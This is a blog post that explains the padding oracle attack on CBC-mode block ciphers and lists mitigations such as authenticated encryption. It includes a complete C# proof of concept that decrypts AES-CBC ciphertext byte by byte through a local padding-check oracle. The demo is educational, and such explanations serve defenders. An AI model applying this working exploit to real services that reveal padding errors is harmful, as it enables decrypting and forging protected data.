Skip to content

Simple Exploit Code of Padding Oracle Attack on CBC Mode Block Cipher

CBC mode is not secure for any block cipher such as AES, Triple DES etc.

Padding Oracle Attack was published in 2002. On average, an attacker can discover plaintext by performing 128 decryption attempts per byte of ciphertext.

Who is vulnerable to Padding Oracle Attack?

Any web service, executable, process, cookie, database or security protocol which allows repeated decryption of ciphertext and uses CBC mode block cipher such as AES, Triple DES etc.

Sketch of the Attack

Discover plaintext one byte at a time, starting from the last byte to the first.

  1. Modify target byte of the original IV and try all 256 values to find a value which results in valid padding.
  2. Use this modified IV to find the intermediate state of the decryption step.
  3. Use this intermediate state with the original IV to find the original plaintext.

Encryption Attack Scenario

This attack can also allow attacker to create a new ciphertext which decrypts to any desired plaintext without attacker knowing the key.

Mitigations to Padding Oracle Attack

  • Padding Oracle Attacks can be done blindly as well using the decryption timing differences so don’t think that you can mitigate against it by catching exceptions or returning generic responses.
  • Avoid using lower-level cryptographic primitives whenever possible. Use well-known frameworks and protocols instead.
  • Use Authenticated Encryption schemes (AE or AEAD) such as GCM or CCM mode for block ciphers. Idea is to verify the integrity of the ciphertext before trying to decrypt it.

Further Resources

Simple Exploit Code to perform Padding Oracle Attack

Output of Exploit Demo
using System;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;

namespace PaddingOracleAttackDemo
{
    class Program
    {
        static int totalDecryptionAttempts = 0;
        static byte[] key;
        static void Main(string[] args)
        {
            string originalPlaintext =  "0123456789ABCDEF" +
                                        "GHIJKLMNOPQRSTUVWXYZ";
            Console.WriteLine($"Original Plaintext {originalPlaintext}");

            // Create a new instance of the Aes class.
            // This generates a new key and Initialization Vector (IV).
            using (Aes aes = Aes.Create())
            {
                // Store Key in static variable so that the Oracle can also use the same them for decryption attempts
                key = aes.Key;

                // Encrypt the string to an array of bytes.
                byte[] originalEncrypted = Encrypt(originalPlaintext, aes.Key, aes.IV);

                // Attack ciphertext, one block at a time
                for(int indexOfTheTargetBlockToBeDecrypted=0; indexOfTheTargetBlockToBeDecrypted <= originalPlaintext.Length/16; indexOfTheTargetBlockToBeDecrypted++)
                {
                    // Perform Padding Oracle Attack on a block of ciphertext to find its plaintext
                    byte[] plaintTextBytes = PaddingOracleAttack(indexOfTheTargetBlockToBeDecrypted, originalEncrypted, aes.IV);
                    string discoveredPlaintext = Encoding.UTF8.GetString(plaintTextBytes);

                    Console.WriteLine($"Decrypted Plaintext of Block = {discoveredPlaintext}");
                }
                Console.WriteLine($"Total number of decryption attempts = {totalDecryptionAttempts}");
            }
        }
        static byte[] PaddingOracleAttack(int blockIndexToDecipher, byte[] cipherText, byte[] originalIV)
        {
            Console.WriteLine($"Trying to decrypt Block Number {blockIndexToDecipher + 1}");

            /**********************************************************************************************/
            // Initialize variables
            /**********************************************************************************************/
            // Isolate the target block to be deciphered from the full byte stream of ciphertext
            int startIndexOfTheTargetBlock = blockIndexToDecipher * 16;
            int endIndexOfTheTargetBlock = startIndexOfTheTargetBlock + 16;
            byte[] targetBlockToBeDeciphered = cipherText[startIndexOfTheTargetBlock..endIndexOfTheTargetBlock];

            // If the target block is not the first block in the ciphertext then use the block before the ciphertext as IV
            if (blockIndexToDecipher > 0)
            {
                // Isolate the block before the ciphertext to be used as IV
                int startIndexOfTheIVBlock = startIndexOfTheTargetBlock - 16;
                int endIndexOfTheIVBlock = startIndexOfTheIVBlock + 16;
                originalIV = cipherText[startIndexOfTheIVBlock..endIndexOfTheIVBlock];
            }

            // Make copy of the IV block to be used in the padding oracle attack
            byte[] modifiedIV = (byte[])originalIV.Clone();

            byte[] plaintText = new byte[16];
            byte[] intermediateState = new byte[16];
            /**********************************************************************************************/

            /**********************************************************************************************/
            // Perform Padding Oracle Attack
            /**********************************************************************************************/

            // Starting from the last byte to the first byte of the target cipher block
            // Discover plaintext one byte at a time, using padding oracle attack
            for (int i = 15; i >= 0; i--)
            { // i is the current byte being attacked of the target cipher block
                // Determine the correct padding value for the byte being attacked
                byte paddingValue = (byte)(16 - i);

                // Step 0: Calculate IV values of bytes after the byte under attack such that they result in the correct padding value
                // Use previously discovered intermediate state of the bytes which are after the byte under attack
                for (int j = i + 1; j < 16; j++)
                {
                    modifiedIV[j] = (byte)(intermediateState[j] ^ paddingValue);
                }

                // Step 1: Oracle Step
                // Go through all 256 possible IV byte values until we find an IV byte which doesn't throw invalid padding exception
                // Thus giving us an IV byte with its associated decrypted text
                modifiedIV[i] = 0;
                while (!HasValidPadding(targetBlockToBeDeciphered, modifiedIV))
                {
                    modifiedIV[i]++;
                }

                // Step 2: Calculate Intermediate State of the byte we are deciphering
                // by using the modified IV byte discovered during the Oracle step
                intermediateState[i] = (byte)(modifiedIV[i] ^ paddingValue);

                // Step 3: Calculate Original Plaintext byte by XOR'ing the original IV byte and the Intermediate State byte
                plaintText[i] = (byte)(originalIV[i] ^ intermediateState[i]);

                Console.WriteLine($"Found plaintext byte {i + 1} to be {(char)plaintText[i]}, value = {plaintText[i]}.");
            }
            return plaintText;
        }
        /// <summary>
        /// This is the padding oracle
        /// </summary>
        /// <param name="cipherText"></param>
        /// <param name="IV"></param>
        /// <returns></returns>
        static bool HasValidPadding(byte[] cipherText, byte[] IV)
        {
            totalDecryptionAttempts++;
            try
            {
                // Attempt to decrypt the ciphertext just like a real world decryption scenario
                string plainText = Decrypt(cipherText, key, IV);
                // If no exception happened then padding is valid
                return true;
            }
            catch (CryptographicException)
            {
                // Padding is not valid
                return false;
            }
        }
        static byte[] Encrypt(string plainText, byte[] Key, byte[] IV)
        {
            // Check arguments.
            if (plainText == null || plainText.Length <= 0)
                throw new ArgumentNullException("plainText");
            if (Key == null || Key.Length <= 0)
                throw new ArgumentNullException("Key");
            if (IV == null || IV.Length <= 0)
                throw new ArgumentNullException("IV");
            byte[] encrypted;

            // Create an Aes object
            // with the specified key and IV.
            using (Aes aesAlg = Aes.Create())
            {
                aesAlg.Key = Key;
                aesAlg.IV = IV;

                // Create an encryptor to perform the stream transform.
                ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);

                // Create the streams used for encryption.
                using (MemoryStream msEncrypt = new MemoryStream())
                {
                    using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
                    {
                        using (StreamWriter swEncrypt = new StreamWriter(csEncrypt))
                        {
                            //Write all data to the stream.
                            swEncrypt.Write(plainText);
                        }
                        encrypted = msEncrypt.ToArray();
                    }
                }
            }

            // Return the encrypted bytes from the memory stream.
            return encrypted;
        }
        static string Decrypt(byte[] cipherText, byte[] Key, byte[] IV)
        {
            // Check arguments.
            if (cipherText == null || cipherText.Length <= 0)
                throw new ArgumentNullException("cipherText");
            if (Key == null || Key.Length <= 0)
                throw new ArgumentNullException("Key");
            if (IV == null || IV.Length <= 0)
                throw new ArgumentNullException("IV");

            // Declare the string used to hold
            // the decrypted text.
            string plaintext = null;

            // Create an Aes object
            // with the specified key and IV.
            using (Aes aesAlg = Aes.Create())
            {
                aesAlg.Key = Key;
                aesAlg.IV = IV;

                // Create a decryptor to perform the stream transform.
                ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);

                // Create the streams used for decryption.
                using (MemoryStream msDecrypt = new MemoryStream(cipherText))
                {
                    using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))
                    {
                        using (StreamReader srDecrypt = new StreamReader(csDecrypt))
                        {

                            // Read the decrypted bytes from the decrypting stream
                            // and place them in a string.
                            plaintext = srDecrypt.ReadToEnd();
                        }
                    }
                }
            }

            return plaintext;
        }
    }
}

1 thought on “Simple Exploit Code of Padding Oracle Attack on CBC Mode Block Cipher”

  1. Hi there! Ƭhis is my first comment here so I just wanteԀ to give a quick shout out and say I genuinelү еnjoy reading tһrough yoսr poѕts.
    Can you suggest any other blogs/websites/forums that cover the same topics?
    Thanks a ton!

Leave a Reply

Your email address will not be published. Required fields are marked *

Close Bitnami banner
Bitnami